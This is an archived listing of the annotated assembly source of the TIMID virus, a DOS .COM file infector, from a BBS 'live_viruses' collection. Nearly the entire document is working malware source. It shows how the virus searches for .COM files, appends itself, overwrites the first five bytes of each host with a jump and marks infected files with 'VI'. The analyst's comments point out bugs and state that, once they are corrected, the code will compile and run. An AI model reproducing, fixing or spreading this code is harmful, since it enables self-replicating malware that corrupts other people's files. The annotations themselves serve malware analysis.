home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / timid.asm < prev    next >
Assembly Source File  |  1991-12-23  |  10KB  |  421 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;                    TIMID VIRUS
  5.  
  6. ;                   23-Dec-91
  7.  
  8. ; COMMENTS:
  9. ;                    Direct acting .COM infector, infects all    
  10. ;                    files found between 2 bytes and 64,750 bytes.
  11. ;                    Tends to hang system on large files.
  12. ;                    No trigger and no destructive capabilities.
  13. ;                    Execution of secondary infections are apt  
  14. ;                    to result in system lockup.                
  15. ;                    Appears to be an escaped research virus,   
  16. ;                    perhaps a Beta version.                    
  17. ;                                                               
  18. ;                    With the noted errors corrected, the code
  19. ;                    will recompile under TASM v.2.0  and execute 
  20. ;                    without problems.
  21. ;
  22. ;                        - R. Wallace Hale
  23. ;
  24.  
  25. old_DTA            equ        80h        
  26.  
  27. new_DTA            equ        0FF2Ah    
  28.  
  29. ptr_buf_stk        equ        0FFFCh    
  30.  
  31. ID_buf_stk        equ        0FF57h    
  32.  
  33. fil_hdl_stk        equ        0FF55h    
  34.  
  35. fil_nam_stk        equ        0FF48h    
  36.  
  37. fil_siz_stk        equ        0FF44h    
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44. seg_a        segment    byte public
  45.  
  46.         ASSUME    CS:seg_a, DS:seg_a
  47.  
  48.  
  49.         ORG    100h
  50.  
  51. timid        PROC    far
  52.  
  53. start:
  54.         jmp        begin                        ; jump to virus code
  55.  
  56.         db        56h, 49h                    ; VI - infection marker
  57.                                             ;    Identification of
  58.                                             ;    infected files depends
  59.                                             ;    on the combination of
  60.                                             ;    an E9h jump instruction
  61.                                             ;    being the first byte of
  62.                                             ;    the host, confirmed by
  63.                                             ;    the presence of the 'VI'
  64.                                             ;    marker as bytes four and
  65.                                             ;    five.
  66.  
  67.         db        21h    
  68.  
  69.         db        2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h ; *.COM target 
  70.  
  71. begin:
  72.         call    set_up
  73.  
  74. timid        ENDP
  75.  
  76. set_up        PROC    near
  77.  
  78.         sub        word ptr ds:ptr_buf_stk,9    ; Top of Stack -
  79.                                             ;     set pointer to "*.COM",
  80.                                             ;    the target file type.
  81.  
  82.         mov        dx,new_DTA
  83.         mov        ah,1Ah                        ; Set DTA function
  84.         int        21h                            ; call DOS
  85.  
  86.         call    find_host                    ; search for a candidate
  87.                                             ;    host file
  88.  
  89.         jnz        start                        ; No .COM files found, so lock
  90.                                             ;    in a loop forever?  And that
  91.                                             ;    is exactly what takes place.
  92.                                             ; Should jump to restore old DTA.
  93.  
  94.         call    do_infect                    ; found a host, so infect it
  95.  
  96. ;
  97. ;    Display name of host file being infected
  98. ;
  99.  
  100.         mov        dx,fil_nam_stk                ; point to file name
  101.         mov        word ptr ds:fil_hdl_stk,'$'    ; Append terminator for
  102.                                             ;    Display String function.
  103.  
  104.         mov        ah,9                        ; Display String function
  105.         int        21h                            ; call DOS
  106.  
  107.  
  108. ;
  109. ;        Restore original DTA
  110. ;
  111.  
  112.         mov        dx,old_DTA
  113.         mov        ah,1Ah                        ; Set DTA function
  114.         int        21h                            ; call DOS
  115.  
  116. ;
  117. ;        Restore original first 5 bytes
  118. ;
  119.  
  120.         mov        bx,ds:ptr_buf_stk            ;    offset of *.COM
  121.         mov        ax,[bx+51h]                    ; get first two bytes
  122.  
  123.         nop
  124.         mov        word ptr ds:[100h],ax        ; move first two bytes 
  125.                                             ;    to 100h
  126.  
  127.  
  128. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀;
  129. ;                                            ;
  130. ;        ERROR!    -    See comments            ;
  131. ;                                            ;
  132. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀;
  133.  
  134.         mov        ax,[bx+4Fh]                    ; get next two bytes
  135.                                             ;        !! ERROR !!
  136.                                             ;    This should be BX + 53h
  137.         nop
  138.         mov        word ptr ds:[102h],ax        ; and move into place
  139.  
  140.  
  141. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀;
  142. ;                                            ;
  143. ;        ERROR!    -    See comments            ;
  144. ;                                            ;
  145. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀;
  146.  
  147.         mov        al,[bx+4Dh]                    ; get last byte
  148.                                             ;        !! ERROR !!
  149.                                             ;    This should be BX + 55h
  150.         nop
  151.         mov        byte ptr ds:[104h],al        ; and move into position
  152.  
  153.         mov        word ptr ds:ptr_buf_stk,100h
  154.                                             ; jmup to original host code
  155.  
  156.         retn
  157.  
  158. set_up        ENDP
  159.  
  160.  
  161. ;
  162. ;        First 5 bytes of host.
  163. ;
  164.  
  165.         db        0B4h, 4Ch,0B0h, 00h,0CDh    ; Original first 5 bytes
  166.  
  167.  
  168. ;
  169. ;        Find First File routine
  170. ;
  171.  
  172. find_host        PROC    near
  173.  
  174.         mov        dx,ds:ptr_buf_stk            ; filespec *.COM
  175.                                             ;    (contents of TOS)
  176.  
  177.         add        dx,0                        ; a pointless instruction,
  178.                                             ;    does nothing.
  179.  
  180.  
  181. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀;
  182. ;                                            ;
  183. ;        ERROR!    -    See comments            ;
  184. ;                                            ;
  185. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀;
  186.  
  187.         mov        cx,3Fh                        ; attribute to search for -
  188.                                             ;    hidden, read-only, system..
  189.                                             ;    however, no provision
  190.                                             ;    is made for dealing with
  191.                                             ;    hidden or read-only files,
  192.                                             ;    which will produce an error
  193.                                             ;    message if such are found.
  194.  
  195.         mov        ah,4Eh                        ; Find First File function
  196.         int        21h                            ; call DOS
  197.  
  198. test_host:
  199.         or        al,al                        ; Zero ?
  200.         jnz        done_here                    ; Jump if not zero
  201.         call    is_infected                    ; test for infection
  202.         jz        done_here                    ; Jump if zero
  203.  
  204.  
  205. ;
  206. ;        Find Next File routine
  207. ;
  208.  
  209.         mov        ah,4Fh                        ; Find Next File function
  210.         int        21h                            ; call DOS
  211.         jmp        short test_host    
  212.  
  213. done_here:
  214.         retn
  215.  
  216. find_host        ENDP
  217.  
  218.  
  219. ;
  220. ;        Read first five bytes of candidate file
  221. ;        and test for infection.
  222. ;
  223.  
  224. is_infected        PROC    near
  225.  
  226.         mov        dx,fil_nam_stk                ; point to ASCIIZ filename
  227.  
  228.         mov        ax,3D02h                    ; Open File function in
  229.                                             ;    Read/Write mode
  230.         int        21h                            ; call DOS
  231.         jc        reject                        ; Jump if carry Set
  232.  
  233.         mov        bx,ax                        ; store handle in BX
  234.         push    bx                            ;    and save it on stack
  235.         mov        cx,5                        ; read first five bytes
  236.         mov        dx,ID_buf_stk                ;     and store on stack
  237.         mov        ah,3Fh                        ; Read File function
  238.         int        21h                            ; call DOS
  239.  
  240.         pop        bx                            ; restore file handle in BX
  241.         mov        ah,3Eh                        ; Close File function
  242.         int        21h                            ; call DOS
  243.  
  244.         mov        ax,ds:fil_siz_stk            ; get file size in AX
  245.         add        ax,311h                        ; file too big? (Larger than
  246.                                             ;    64,750 bytes.)
  247.         jc        reject                        ; yes, don't try to infect
  248.     
  249.  
  250.  
  251. ;
  252. ;        Test candidate file for infection
  253. ;
  254.  
  255.         cmp        byte ptr ds:ID_buf_stk,0E9h    ; Is first byte our near 
  256.                                             ;    jump instruction?
  257.  
  258.         jne        file_ok                        ; No, so infect the file.
  259.  
  260.  
  261. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀;
  262. ;                                            ;
  263. ;        ERROR!    -    See comments            ;
  264. ;                                            ;
  265. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀;
  266.  
  267.         cmp        word ptr ds:ID_buf_stk+4,4956h    
  268.                                             ; Yes, E9 jump found, check
  269.                                             ;     whether fourth and fifth 
  270.                                             ;    bytes are 'VI',the 
  271.                                             ;    infection indicator
  272.                                             ;        !! ERROR !!
  273.                                             ;    To increase 4 bytes, 
  274.                                             ;    instruction should be
  275.                                             ;    ID_buf_stk + 3
  276.  
  277.         jne        file_ok                        ; infection marker not present,
  278.                                             ;    so infect the file.
  279.  
  280. ;
  281. ;        Rejected host
  282. ;
  283.  
  284. reject:
  285.         mov        al,1
  286.         or        al,al                        ; clear Zero Flag
  287.         retn
  288.  
  289.  
  290. ;
  291. ;        Suitable host;  continue
  292. ;
  293.  
  294. file_ok:    
  295.         xor        al,al                        ; set Zero Flag
  296.         retn
  297.  
  298. is_infected        ENDP
  299.  
  300.  
  301. ;
  302. ;          Infection routine
  303. ;
  304.  
  305. do_infect        PROC    near
  306.  
  307.         mov        dx,fil_nam_stk                ; point to file name
  308.         mov        ax,3D02h                    ; Open File function in R/W mode
  309.         int        21h                            ; call DOS
  310.  
  311.         mov        ds:fil_hdl_stk,ax            ; store file handle
  312.         xor        cx,cx                        ; set SEEK offset to zero
  313.         mov        dx,cx    
  314.         mov        bx,ds:fil_hdl_stk            ; get file handle in BX
  315.         mov        ax,4202h                    ; Seek to EOF
  316.  
  317.         int        21h                            ; call DOS
  318.  
  319. ;
  320. ;    Reserve 5 bytes in the infected file,    
  321. ;    insert the infection marker, and write    
  322. ;    the infected file back to disk.            
  323. ;
  324.  
  325.         mov        cx,132h                        ; length of virus code
  326.                                             ;    number of bytes to write
  327.         mov        dx,ds:ptr_buf_stk            ; start at '*.COM'
  328.  
  329.         mov        bx,ds:fil_hdl_stk            ; move file handle into BX
  330.                                             ;    (appears redundant;  BX
  331.                                             ;     already contains handle)
  332.         mov        ah,40h                        ; Write File function
  333.         int        21h                            ; call DOS
  334.                                             ;    Append virus to end of host.
  335.  
  336.         xor        cx,cx                        ; Zero register
  337.         mov        dx,ds:fil_siz_stk
  338.  
  339.         add        dx,51h                        ; points to the location of the
  340.                                             ;    first five bytes.
  341.  
  342.         mov        bx,ds:fil_hdl_stk            ; move file handle into BX
  343.                                             ;    (redundant instruction)
  344.  
  345.         mov        ax,4200h                    ; Move File Pointer function
  346.                                             ;    absolute offset from start
  347.                                             ;    of file
  348.         int        21h                            ; call DOS
  349.  
  350.         mov        cx,5                        ; number of bytes to write
  351.         mov        bx,ds:fil_hdl_stk            ; move file handle into BX
  352.                                             ;    (redundant instruction)
  353.  
  354.         mov        dx,ID_buf_stk                ; Save original first 5 bytes
  355.                                             ;    of file.
  356.  
  357.         mov        ah,40h                        ; Write File function
  358.         int        21h                            ; call DOS
  359.  
  360.         xor        cx,cx                        ; set SEEK offset to zero
  361.         mov        dx,cx
  362.         mov        bx,ds:fil_hdl_stk            ; move file handle into BX
  363.                                             ;    (redundant instruction)
  364.         mov        ax,4200h                    ; Move File Pointer function
  365.                                             ;    SEEK to start of file.
  366.  
  367.         int        21h                            ; call DOS
  368.  
  369.         mov        bx,ds:ptr_buf_stk            ; Why? 
  370.  
  371.         mov        byte ptr ds:ID_buf_stk,0E9h    ; make E9h, a near jump 
  372.                                             ;    instruction, the first byte
  373.                                             ;    in the buffer.
  374.  
  375.         mov        ax,ds:fil_siz_stk
  376.         add        ax,3                        ; calculate jump past host file 
  377.                                             ;    to start of viral code
  378.         mov        ds:ID_buf_stk+1,ax            ; next 2 bytes, the jump
  379.                                             ;    address
  380.  
  381.  
  382. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀;
  383. ;                                            ;
  384. ;        ERROR!    -    See comments            ;
  385. ;                                            ;
  386. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀;
  387.  
  388.         mov        word ptr ds:ID_buf_stk+4,4956h
  389.                                             ; move "VI", the infection 
  390.                                             ;    marker, into buffer
  391.                                             ;        !! ERROR !!
  392.                                             ;    To increase pointer by 4
  393.                                             ;    bytes, instruction should be
  394.                                             ;    ID_buf_stk + 3
  395.  
  396.         mov        cx,5                        ; number of bytes to write
  397.         mov        dx,ID_buf_stk                ; address of buffer
  398.         mov        bx,ds:fil_hdl_stk            ; restore file handle in BX
  399.         mov        ah,40h                        ; Write File function
  400.         int        21h                            ; call DOS
  401.                                             ;    Overwrite first five bytes
  402.                                             ;    of host with jump to virus
  403.                                             ;    and the infection marker.
  404.  
  405.         mov        bx,ds:fil_hdl_stk            ; move file handle into BX
  406.                                             ;    (redundant instruction)
  407.         mov        ah,3Eh                        ; Close File function
  408.         int        21h                            ; call DOS
  409.  
  410.         retn
  411.  
  412. do_infect        ENDP
  413.  
  414.  
  415. seg_a        ends
  416.  
  417.  
  418.  
  419.         end    start
  420.  
  421.